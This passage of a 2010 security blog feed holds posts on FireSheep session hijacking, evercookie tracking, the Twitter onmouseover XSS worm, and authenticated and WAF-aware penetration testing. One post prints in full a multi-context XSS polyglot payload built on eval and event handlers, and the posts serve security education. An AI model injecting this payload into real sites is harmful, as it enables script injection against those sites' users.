&lt;li&gt;Use "Secure" cookies so that browsers will not send them out insecure (non-HTTPS) channels.&lt;/li&gt;
&lt;/ol&gt;Of course, this is all kind of a moot point since man-in-the-middle attacks succeed most of the time even in the presence of SSL. This is because users are usually willing to accept browser certificate warnings. Still, FireSheep is a very cool extension and helps shed light on a ubiquitous problem.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8599741297530126079-8737344088992709467?l=blog.depthsecurity.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DepthSecurity/~4/XWcHuiHsTWM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.depthsecurity.com/feeds/8737344088992709467/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.depthsecurity.com/2010/10/firesheep-ff-extension-makes-for-easy.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/8737344088992709467?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/8737344088992709467?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/DepthSecurity/~3/XWcHuiHsTWM/firesheep-ff-extension-makes-for-easy.html" title="FireSheep FF Extension Makes for Easy Session Hijacking" /><author><name>Jake Reynolds</name><uri>http://www.blogger.com/profile/08401450471965011197</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="22" src="http://1.bp.blogspot.com/-JiW-NQ8-uak/TdgKBqhQc_I/AAAAAAAAANc/gF_4tThM0Ts/s220/5293_1183768718451_1355227335_30492701_4791123_n.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.depthsecurity.com/2010/10/firesheep-ff-extension-makes-for-easy.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUMAQns6fSp7ImA9Wx5WEko.&quot;"><id>tag:blogger.com,1999:blog-8599741297530126079.post-2257174906106424594</id><published>2010-09-23T13:13:00.000-07:00</published><updated>2010-09-23T13:24:03.515-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-09-23T13:24:03.515-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="cookies" /><category scheme="http://www.blogger.com/atom/ns#" term="web application security" /><title>Super-Persistent Cookies - evercookie JavaScript API</title><content type="html">As if HTTP cookies, Local Shared Objects (Flash cookies), and web developer's understanding of them wasn't a big enough security issue, &lt;a href="mailto:code@samy.pl"&gt;Samy Kamkar&lt;/a&gt; has written a &lt;a href="http://samy.pl/evercookie/"&gt;JavaScript API for "virtually irrevocable persistent cookies."&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Want to keep track of users even after they remove their cookies, switch browsers, clear cache, or whatever? No problem, just throw a reference to evercookie in your site's pages and you're good to go. The evercookie API will set cookies using 10 different storage mechanisms from straight-up HTTP cookies, to LSOs, to browser history, to forcefully cached, encoded PNG images, and even HTML5 storage areas.&lt;br /&gt;
&lt;br /&gt;
I haven't played with it yet and I'm sure there are plenty of ways around it, but it's an interesting concept for sure.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_ymoqVdUkL6A/TJu1e4ycHQI/AAAAAAAAAJc/AH5z_bfGHJM/s1600/9-23-2010+3-15-20+PM.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="640" src="http://1.bp.blogspot.com/_ymoqVdUkL6A/TJu1e4ycHQI/AAAAAAAAAJc/AH5z_bfGHJM/s640/9-23-2010+3-15-20+PM.png" width="638" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8599741297530126079-2257174906106424594?l=blog.depthsecurity.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DepthSecurity/~4/HaV9bwjNC-Y" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.depthsecurity.com/feeds/2257174906106424594/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.depthsecurity.com/2010/09/super-persistent-cookies-evercookie.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/2257174906106424594?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/2257174906106424594?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/DepthSecurity/~3/HaV9bwjNC-Y/super-persistent-cookies-evercookie.html" title="Super-Persistent Cookies - evercookie JavaScript API" /><author><name>Jake Reynolds</name><uri>http://www.blogger.com/profile/08401450471965011197</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="22" src="http://1.bp.blogspot.com/-JiW-NQ8-uak/TdgKBqhQc_I/AAAAAAAAANc/gF_4tThM0Ts/s220/5293_1183768718451_1355227335_30492701_4791123_n.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_ymoqVdUkL6A/TJu1e4ycHQI/AAAAAAAAAJc/AH5z_bfGHJM/s72-c/9-23-2010+3-15-20+PM.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://blog.depthsecurity.com/2010/09/super-persistent-cookies-evercookie.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C04HR384eyp7ImA9Wx5WEEU.&quot;"><id>tag:blogger.com,1999:blog-8599741297530126079.post-7048479708412543562</id><published>2010-09-21T07:56:00.000-07:00</published><updated>2010-09-21T08:12:16.133-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-09-21T08:12:16.133-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="social networking" /><category scheme="http://www.blogger.com/atom/ns#" term="XSS" /><category scheme="http://www.blogger.com/atom/ns#" term="twitter" /><category scheme="http://www.blogger.com/atom/ns#" term="web application security" /><title>Twitter Input Validation Issues (XSS)</title><content type="html">So someone started a re-tweet XSS worm on Twitter. They were able to embed a span class and provide an "Onmouseover" event that causes the post to be re-tweeted when hovered over. Twitter has "&lt;a href="http://status.twitter.com/post/1161435117/xss-attack-identified-and-patched"&gt;patched&lt;/a&gt;" but I still see lots of folks trying to prove them wrong.&lt;br /&gt;&lt;br /&gt;There's some better analysis about the whole thing  on &lt;a href="http://research.zscaler.com/2010/09/twitter-retweet-spam.html?utm_source=feedburner&amp;amp;utm_medium=feed&amp;amp;utm_campaign=Feed%3A+zscaler%2Fresearch+%28Zscaler+Research%29"&gt;Zscaler&lt;/a&gt; including the following JavaScript payload:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_TIeEMQaNHSw/TJivXxFq8hI/AAAAAAAAAZQ/YZbrxEYWnBU/s1600/Screen+shot+2010-09-21+at+9.20.09+AM.png"&gt;&lt;img style="float: left; margin: 0pt 10px 10px 0pt; cursor: pointer; width: 662px; height: 80px;" src="http://4.bp.blogspot.com/_TIeEMQaNHSw/TJivXxFq8hI/AAAAAAAAAZQ/YZbrxEYWnBU/s1600/Screen+shot+2010-09-21+at+9.20.09+AM.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8599741297530126079-7048479708412543562?l=blog.depthsecurity.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DepthSecurity/~4/ge-6S14sUok" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.depthsecurity.com/feeds/7048479708412543562/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.depthsecurity.com/2010/09/twitter-input-validation-issues-xss.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/7048479708412543562?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/7048479708412543562?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/DepthSecurity/~3/ge-6S14sUok/twitter-input-validation-issues-xss.html" title="Twitter Input Validation Issues (XSS)" /><author><name>Jake Reynolds</name><uri>http://www.blogger.com/profile/08401450471965011197</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="22" src="http://1.bp.blogspot.com/-JiW-NQ8-uak/TdgKBqhQc_I/AAAAAAAAANc/gF_4tThM0Ts/s220/5293_1183768718451_1355227335_30492701_4791123_n.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_TIeEMQaNHSw/TJivXxFq8hI/AAAAAAAAAZQ/YZbrxEYWnBU/s72-c/Screen+shot+2010-09-21+at+9.20.09+AM.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://blog.depthsecurity.com/2010/09/twitter-input-validation-issues-xss.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEcCQXo9cCp7ImA9Wx5XF04.&quot;"><id>tag:blogger.com,1999:blog-8599741297530126079.post-4695580238613073429</id><published>2010-09-15T13:53:00.000-07:00</published><updated>2010-09-17T07:01:00.468-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-09-17T07:01:00.468-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="XSS" /><category scheme="http://www.blogger.com/atom/ns#" term="Cross-Site Scripting" /><category scheme="http://www.blogger.com/atom/ns#" term="web application security" /><title>Multiple Context XSS Vector</title><content type="html">&lt;a href="http://www.thespanner.co.uk/author/general_carnage/"&gt;Gareth Heyes&lt;/a&gt; of &lt;a href="http://www.thespanner.co.uk/"&gt;The Spanner&lt;/a&gt; came up with an &lt;a href="http://www.thespanner.co.uk/2010/09/15/one-vector-to-rule-them-all/"&gt;XSS payload&lt;/a&gt; that works in multiple contexts and browsers. As always mileage will vary by vector and browser but I thought it was universal/cool enough to mention.&lt;br /&gt;&lt;br /&gt;javascript:/*--&amp;gt;&amp;lt;/marquee&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;/title&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/noscript&amp;gt;&amp;lt;/style&amp;gt;&amp;lt;/xmp&amp;gt;"&amp;gt;[img=1]&amp;lt;img -/style=-=expression&amp;amp;#40&amp;amp;#47;&amp;amp;#42;’/-/*&amp;amp;#39;,/**/eval(name)//&amp;amp;#41;;width:100%;height:100%;position:absolute;behavior:url(#default#VML);-o-link:javascript:eval(title);-o-link-source:current name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) background=javascript:eval(name)//&amp;gt;"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8599741297530126079-4695580238613073429?l=blog.depthsecurity.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DepthSecurity/~4/M4junEQtXcs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.depthsecurity.com/feeds/4695580238613073429/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.depthsecurity.com/2010/09/multiple-context-xss-vector.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/4695580238613073429?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/4695580238613073429?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/DepthSecurity/~3/M4junEQtXcs/multiple-context-xss-vector.html" title="Multiple Context XSS Vector" /><author><name>Jake Reynolds</name><uri>http://www.blogger.com/profile/08401450471965011197</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="22" src="http://1.bp.blogspot.com/-JiW-NQ8-uak/TdgKBqhQc_I/AAAAAAAAANc/gF_4tThM0Ts/s220/5293_1183768718451_1355227335_30492701_4791123_n.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.depthsecurity.com/2010/09/multiple-context-xss-vector.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEcASXY8eCp7ImA9Wx5XF04.&quot;"><id>tag:blogger.com,1999:blog-8599741297530126079.post-5988887700887630908</id><published>2010-08-04T11:08:00.000-07:00</published><updated>2010-09-17T07:00:48.870-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-09-17T07:00:48.870-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="pci" /><category scheme="http://www.blogger.com/atom/ns#" term="top 10" /><category scheme="http://www.blogger.com/atom/ns#" term="owasp" /><category scheme="http://www.blogger.com/atom/ns#" term="XSS" /><category scheme="http://www.blogger.com/atom/ns#" term="pen test" /><category scheme="http://www.blogger.com/atom/ns#" term="Cross-Site Scripting" /><category scheme="http://www.blogger.com/atom/ns#" term="web application security" /><title>Why Perform Authenticated Web Application Security Assessments?</title><content type="html">The main difference between our Basic and Standard web application security assessment services is that for Basic assessments, we only perform unauthenticated testing, unless of course we gain authenticated access through exploitation of some vulnerability. Our standard application security assessments test the application from both unauthenticated perspectives and authenticated perspectives of user roles in scope. Let's briefly describe what I mean by unauthenticated and authenticated perspectives as well as authenticated roles.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Unauthenticated: Application content (pages) available to a user without credentials e.g. /index.aspx, /products.jsp, etc&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Authenticated: Content only available to a user with credentials e.g. /admin.php, /change_password.aspx, etc&lt;/li&gt;&lt;li&gt;Authenticated Role: A group of users with access to a&lt;span style="font-style: italic;"&gt; &lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;particular subset of the application's entire authenticated content. For example, a "helpdesk" role might only have access to create and close tickets but a "helpdesk_manager" role might also have access to ticket reporting functionality.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;While there are many reasons an organization may wish to identify vulnerabilities that exist from an unauthenticated perspective, there are many more reasons organizations should consider testing from both unauthenticated and authenticated perspectives.&lt;br /&gt;&lt;br /&gt;One of the most compelling reasons to test from an authenticated user's perspective is that some vulnerabilities are exploitable without credentials but are only discoverable with credentials. Furthermore, a certain vulnerability may reside in a page only accessible by a certain authenticated role. Consider the following example scenarios:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;SQL injection is possible within an application but only on a page that requires authentication. Without actually authenticating, an assessor would be unable to identify this major vulnerability.&lt;/li&gt;&lt;li&gt;A web application assigns predictable session identifier values but only sets them after successful authentication. Without authenticated testing a serious external weakness which would allow user impersonation would go unnoticed. Furthermore, since it is a best practice to only provide session IDs after successful authentication, the application would appear perfectly secure to the unauthenticated assessor.&lt;/li&gt;&lt;li&gt;A web application redirects users to pages that are not linked to from an unauthenticated perspective. Authorization is not enforced, allowing anyone who forcefully browses to these pages, authenticated access. Without credentials, and depending on the complexity of the pages' directory structure and file names, unauthenticated testing may very well leave this serious external weakness unrevealed.&lt;/li&gt;&lt;li&gt;A web application is vulnerable to cross-site request forgery (CSRF) and allows an attacker to force users to order checks to an address of the attacker's choice. Without authenticated testing, the check order functionality would not have been touched by the assessor even though CSRF is an externally-initiated attack, relying on the users' own session cookies.&lt;/li&gt;&lt;li&gt;A web application allows a normal authenticated user to obtain administrative user privileges based on the presence of an "admin" parameter or cookie. Without testing from both the user and administrator perspectives, this flaw may not be discovered.&lt;/li&gt;&lt;/ul&gt;Obviously a vulnerability has to be discovered before it can be exploited, but many applications have a more exposed unauthenticated attack surface due to the triviality of gaining an account. Authenticated testing may not add the same value for applications which have a small amount of users, do not have sensitive authenticated functionality, have strict out-of-band user registration, or have a high level of trust for their users. However, for those applications that do have sensitive authenticated functionality, many users, or a low level of trust for their users, authenticated testing is usually recommended.&lt;br /&gt;&lt;br /&gt;Our Standard web application security assessment service categorizes findings based on severity and whether they are discoverable and exploitable from authenticated or unauthenticated perspectives. Authenticated testing is performed for a variety of security roles if requested, which allows us to rigorously assess applications' authorization, authentication, and session management mechanisms.&lt;br /&gt;&lt;br /&gt;Another interesting, and sometimes confusing subject that should influence testing methodology is regulation. For example the Payment Card Industry's (PCI) &lt;a href="https://www.pcisecuritystandards.org/security_standards/download.html?id=pci_dss_v1-2.pdf"&gt;Data Security Standard (DSS) &lt;/a&gt;mandates in 6.5 that all (internal and external) web applications are developed based on secure coding guidelines so as to prevent the ten types of vulnerabilities outlined in the &lt;a href="http://www.owasp.org/index.php/Top_10_2010-Main"&gt;Open Web Application Security Community (OWASP) Top Ten&lt;/a&gt; list. DSS 6.6 goes further and mandates that all publicly accessible web applications be either assessed for the presence of OWASP Top Ten vulnerabilities or actively managed by a web application firewalls that can prevent exploitation of the OWASP Top Ten vulnerabilities. An entire &lt;a href="https://www.pcisecuritystandards.org/security_standards/docs/information_supplement_6.6.pdf"&gt;separate document&lt;/a&gt; clarifying what is meant by "Application Reviews" and "Web Application Firewalls" attempts to shed light on what testing is required for an "Application Review". It mentions that manual or automated testing may suffice but it does not spell out that unless authenticated testing is performed from multiple security roles along with unauthenticated content testing, OWASP Top Ten vulnerabilities won't be detected.&lt;br /&gt;&lt;br /&gt;I personally think authenticated security assessments from multiple security roles is an implicit requirement in the PCI DSS (unless you deploy a WAF) given that it specifies identifying OWASP Top Ten vulnerabilities. The fact is, you can't say you tested thoroughly for vulnerabilities if you failed to test half the application's content. If I'm right, this means that companies that have purchased unauthenticated web application security assessments, knowingly or inadvertently, have not fulfilled the DSS 6.6 requirement.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8599741297530126079-5988887700887630908?l=blog.depthsecurity.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DepthSecurity/~4/Hyrh39FTH44" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.depthsecurity.com/feeds/5988887700887630908/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.depthsecurity.com/2010/08/why-perform-authenticated-web.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/5988887700887630908?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/5988887700887630908?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/DepthSecurity/~3/Hyrh39FTH44/why-perform-authenticated-web.html" title="Why Perform Authenticated Web Application Security Assessments?" /><author><name>Jake Reynolds</name><uri>http://www.blogger.com/profile/08401450471965011197</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="22" src="http://1.bp.blogspot.com/-JiW-NQ8-uak/TdgKBqhQc_I/AAAAAAAAANc/gF_4tThM0Ts/s220/5293_1183768718451_1355227335_30492701_4791123_n.jpg" /></author><thr:total>1</thr:total><feedburner:origLink>http://blog.depthsecurity.com/2010/08/why-perform-authenticated-web.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUQDQXg4fSp7ImA9Wx5SEU8.&quot;"><id>tag:blogger.com,1999:blog-8599741297530126079.post-350521259912721225</id><published>2010-08-04T07:40:00.000-07:00</published><updated>2010-08-06T12:36:10.635-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-08-06T12:36:10.635-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="pci" /><category scheme="http://www.blogger.com/atom/ns#" term="top 10" /><category scheme="http://www.blogger.com/atom/ns#" term="security assessment" /><category scheme="http://www.blogger.com/atom/ns#" term="owasp" /><category scheme="http://www.blogger.com/atom/ns#" term="pen test" /><category scheme="http://www.blogger.com/atom/ns#" term="web application security" /><title>Assessing the Multiple Security Postures of Targets</title><content type="html">The majority of our assessment clients choose a full-disclosure approach to security assessments. They realize that this helps us maximize results in terms of vulnerabilities discovered thus providing the most value for a given cost. Other times assessment clients are interested in zero-knowledge assessments that simulate an attack from an outside threat with minimal knowledge of a target. Although both scenarios are valid we don’t think they have to be mutually exclusive.  Why not have your cake and eat it too? And with that we now offer the testing of primary and secondary security controls separately in order to gain knowledge of a target’s multiple security postures.&lt;br /&gt;&lt;br /&gt;For example, in the realm of web application security, an example of a primary security control might be parameterized database access to prevent SQL injection attacks or strict output encoding to prevent cross-site scripting (XSS) attacks. An example of a secondary security control might be a web application firewall (WAF) that also attempts to prevent such attacks before they reach the web application. Under these circumstances, a web application security assessment might be more of an assessment of the WAF’s security posture than an assessment of the web application’s security posture. Only those attacks that are not blocked by the WAF would actually reach the web application. The results of such an assessment would likely miss flaws that reside in the actual assessment target, the web application.&lt;br /&gt;&lt;br /&gt;“So what? That’s what the WAF is for right?” you might ask. Well…&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Can your web application firewall policies become disabled inadvertently? &lt;/li&gt;&lt;li&gt;Could future WAF policy changes negate some WAF protection? &lt;/li&gt;&lt;li&gt;Could the hidden flaws in your web application be replicated by your development staff in other applications, possibly applications not protected by a WAF?&lt;/li&gt;&lt;li&gt;Do you have public staging and test environments also protected with the same WAF policies?&lt;/li&gt;&lt;li&gt;What about simple due diligence to make sure that your application defends itself?&lt;/li&gt;&lt;li&gt;Could new methods of attack obfuscation bypass WAF policies in the future?&lt;/li&gt;&lt;/ul&gt;I’m not saying that it isn’t important to measure the effectiveness of secondary security controls like WAFs. To the contrary, I’ve seen too many WAFs deployed in such a way that they are all but worthless. I’ve seen security personnel who were quite certain their WAF would stop my attacks during an assessment only to find out that the WAF was still in “learning mode,” the way it was left when the WAF vendor did the initial installation. The dead-bolt doesn’t help you much if you leave the key stuck in it.&lt;br /&gt;&lt;br /&gt;What I am saying is, if it doesn’t cost any extra, why not test both primary and secondary security controls? Assess the application’s “naked” security posture without WAF protection. Then enable the WAF protection and see which vulnerabilities are still vulnerabilities. Since it doesn’t take much time to re-validate what’s already been identified, we offer this additional service to those clients who desire it for no additional charge.&lt;br /&gt;&lt;br /&gt;This way you get a clear picture of two different application security postures, the bare application, and the application with WAF protection. You also get to measure the true effectiveness of the secondary security controls you paid so dearly for, which might actually surprise you. Finally, you can remediate vulnerabilities at their source, in your application, so that if your WAF fails or becomes disabled, your more sensitive database content stays on your side of the firewall. These flaws are then known by your development staff and best practices to prevent them are integrated into future development efforts.&lt;br /&gt;&lt;br /&gt;This concept goes beyond application security assessments and WAFs. Consider the following scenarios:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;A network vulnerability or penetration assessment will test any Intrusion Prevention System (IPS) protecting the assessment targets.  Based on the client's needs, Depth Security might start the assessment exempt from preventative IPS policies to get an actual assessment of the security posture of the “naked” target hosts.  Then once the "worst case scenario" results are documented, the IPS exemptions could be removed to determine which vulnerabilities are exploitable and which are mitigated by the IPS.  Again, the point is to assess the "pure" security posture of the target and the "real world" security posture of the target plus any secondary security controls.  For those clients with managed IPS services, this process really identifies the value (or more typically, lack thereof) that their vendor is providing.  In the event that the IPS failed open or was improperly configured, the client would also have a solid idea of their network security posture without IPS protection.&lt;/li&gt;&lt;li&gt;A social engineering scenario is requested that targets help-desk members with phishing attacks in an attempt to obtain their credentials or other sensitive information.  The first control that this assessment would test would be any anti-spam functionality.  In the case that anti-spam system fails to stop the phishing emails from being delivered, the next step would be to make anti-phishing exemptions to actually test the help-desk members susceptibility to any phishing emails that might make it through anti-spam controls.  The first test verifies a secondary control, anti-spam; the second test targets a primary control, help desk members’ common sense.&lt;/li&gt;&lt;/ol&gt;Thinking in terms of multiple security posture or security “states” fosters a better understanding of a target’s total vulnerabilities and the effectiveness of secondary security controls. Furthermore, this method of thinking leads to a better idea of what to expect in the event of a failure or improper configuration in these secondary security controls.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8599741297530126079-350521259912721225?l=blog.depthsecurity.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DepthSecurity/~4/5MxQeE2hiH0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.depthsecurity.com/feeds/350521259912721225/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.depthsecurity.com/2010/08/assessing-multiple-security-postures-of.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/350521259912721225?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8599741297530126079/posts/default/350521259912721225?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/DepthSecurity/~3/5MxQeE2hiH0/assessing-multiple-security-postures-of.html" title="Assessing the Multiple Security Postures of Targets" /><author><name>Jake Reynolds</name><uri>http://www.blogger.com/profile/08401450471965011197</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="22" src="http://1.bp.blogspot.com/-JiW-NQ8-uak/TdgKBqhQc_I/AAAAAAAAANc/gF_4tThM0Ts/s220/5293_1183768718451_1355227335_30492701_4791123_n.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.depthsecurity.com/2010/08/assessing-multiple-security-postures-of.html</feedburner:origLink></entry></feed>

